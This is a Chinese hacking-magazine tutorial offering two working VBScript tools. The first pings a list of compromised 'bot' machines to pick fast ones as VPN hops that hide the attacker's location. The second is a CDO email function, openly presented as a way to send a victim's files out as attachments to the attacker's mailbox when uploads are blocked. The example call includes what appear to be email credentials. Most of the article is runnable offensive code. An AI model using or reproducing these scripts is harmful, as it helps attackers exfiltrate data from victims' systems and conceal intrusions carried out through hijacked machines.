谈VBS在Hacking中的作用之二

来源:vbs空间

NetPatch
此文已经发于黑客手册第十一期
上一期写了一个VBS的注入脚本,这次给大家带来两个脚本,希望小菜们能喜欢。
一.挑选速度快的肉鸡做VPN。
当自己从小菜鸟转型为老菜鸟时,就懂得考虑在玩Hacking的同时也要尽量保证不暴露
自己。万事,安全第一嘛!不然都不知道哪天玩着玩着就被警察叔叔带去喝茶了^_^ 。
因此,作为老菜鸟的我们,要学会在Hacking时,多用VPN+终端等跳板措施来保护自己,尽量不让自己直接暴露所处地。
但是,由于跳板的增加,导致了数据传输的缓慢。因此我们完全有必要找网速快的机器来做VPN跳板。但如果让自己做这些重复性的操作(从众多的肉鸡中挑选网速好的),那就太愧对老菜鸟这个称呼了。对于学过编程的朋友来说,那简直易如反掌。但对小菜来说,可能还有点难度。因此,今天我就先简单的介绍下,如何用VBS帮我们挑选速度快的肉鸡。

On Error Resume Next
'code by NetPatch
Set arg=Wscript.Arguments
'声明外部参数
If Arg.count=0 then Wscript.quit
'若没有参数则退出脚本
Num=0

SzBuf = InputBox( "请输入要找的Ping时间值:", "输入", "200" )
'调用弹出消息输入框来获取要查找的时间
Set Fso=CreateObject("Scripting.FileSystemObject")
'声明FSO组件
Set Gofile=Fso.OpenTextFile(Arg(0),1,False,-2)
'打开拖进来的文件
Do While Gofile.Atendofline <> True

Ip=Gofile.Readline

'读取一行

Set oShell = WScript.CreateObject("WScript.Shell")

'声明WSH组件

Set oExec = oShell.Exec("ping -n 1 "&Ip&"")

'执行PING命令,然后把结果附值到oExec

Set File=fso.OpenTextFile(arg(0)&".txt",8,True)

Do While Not oExec.StdOut.AtEndOfStream

strOut = oExec.StdOut.ReadLine()

If oExec.StdOut.line>4 then exit do

'用循环读取指定行数

Loop

If
Cint(GET_Time(StrOut)) < Cint(SzBuf) Then

File.Writeline Ip&chr(9)&"Ping时间值为:"&GET_Time(StrOut)&"秒"

'找到小于指定时间的机器,并写入新建立的文本

Num=Num+1

'找到后,记数(后面统计用)

End if
Loop
File.Close
Gofile.Close
Set Fso=Nothing

if num = 0 then

wscript.echo "郁闷!一个也没找到@_@"
else

wscript.echo "恭喜!找到"&num&"个"
end if

'用正则查找指定的PING时间值
Function GET_Time(ss)

Set re = New RegExp

re.Pattern = "(.+from )(\d+.\d+.\d+.\d+): bytes=32 time=(\d+)ms(.+)"

re.Global = True

re.IgnoreCase = True

re.MultiLine = True

GET_Time = re.Replace(ss,"$3")
end Function

把你的肉鸡IP列表拉到这个VBS脚本上,再填入你要找的PING时间值,即可很快找出哪台肉鸡相对比较快的(当然,前提是你的肉鸡没防PING!不过话说回来,如果防PING的话,估计有防火墙一类的东西,可能也做不成VPN了。)。

二.利用VBS发送邮件
有的时候,渗透时,我们需要在DOS下打包对方的某些东西!
有的时候,我们没办法上传工具。
有的时候,由于对方限制太严格,没办法利用FTP等方法传东西。
这个时候,下面的脚本就派上大用场了,可以很轻松的将对方的东西,当附件发送到自己邮箱。(前提是,附件不要太大哦……不然很容易暴露D!)

function Send_mail(You_Account,You_Password,Send_Email,Send_Email2,Send_Topic,Send_Body,Send_Attachment)
'code by NetPatch
'VBS发送邮件参数说明
'You_Account:你的邮件帐号
'You_Password:你的邮件密码
'Send_Email:
主要邮件地址
'Send_Email2: 备用邮件地址
'Send_Topic:
邮件主题
'Send_Body:
邮件内容
'Send_Attachment:邮件附件
You_ID=Split(You_Account, "@", -1, vbTextCompare)
'帐号和服务器分离
MS_Space = "http://schemas.microsoft.com/cdo/configuration/"
'这个是必须要的,不过可以放心的事,不会通过微软发送邮件
Set Email = CreateObject("CDO.Message")
Email.From = You_Account
'这个一定要和发送邮件的帐号一样
Email.To = Send_Email
'主要邮件地址

If Send_Email2 <> "" Then

Email.CC = Send_Email2
'备用邮件地址
End If

Email.Subject = Send_Topic
'邮件主题
Email.Textbody = Send_Body
'邮件内容

If Send_Attachment <> "" Then

Email.AddAttachment Send_Attachment
'邮件附件
End If

With Email.Configuration.Fields
.Item(MS_Space&"sendusing") = 2
'发信端口
.Item(MS_Space&"smtpserver") = "smtp."&You_ID(1)
'SMTP服务器地址
.Item(MS_Space&"smtpserverport") = 25
'SMTP服务器端口
.Item(MS_Space&"smtpauthenticate") = 1
'cdobasec
.Item(MS_Space&"sendusername") = You_ID(0)
'你的邮件帐号
.Item(MS_Space&"sendpassword") = You_Password
'你的邮件密码
.Update
End With
Email.Send
'发送邮件
Set Email=Nothing
'关闭组件

Send_Mail=True
'如果没有任何错误信息,则表示发送成功,否则发送失败
If Err Then

Err.Clear

Send_Mail=False
End If
End Function

'以下是利用上面的函数发送带附件的邮件例子
If Send_Mail("[email protected]","alan@113","[email protected]","","邮件主题","邮件内容","d:\test.exe")=True Then

Wscript.Echo "发送成功"
Else

Wscript.Echo "发送失败"
End If

相关日志

发表评论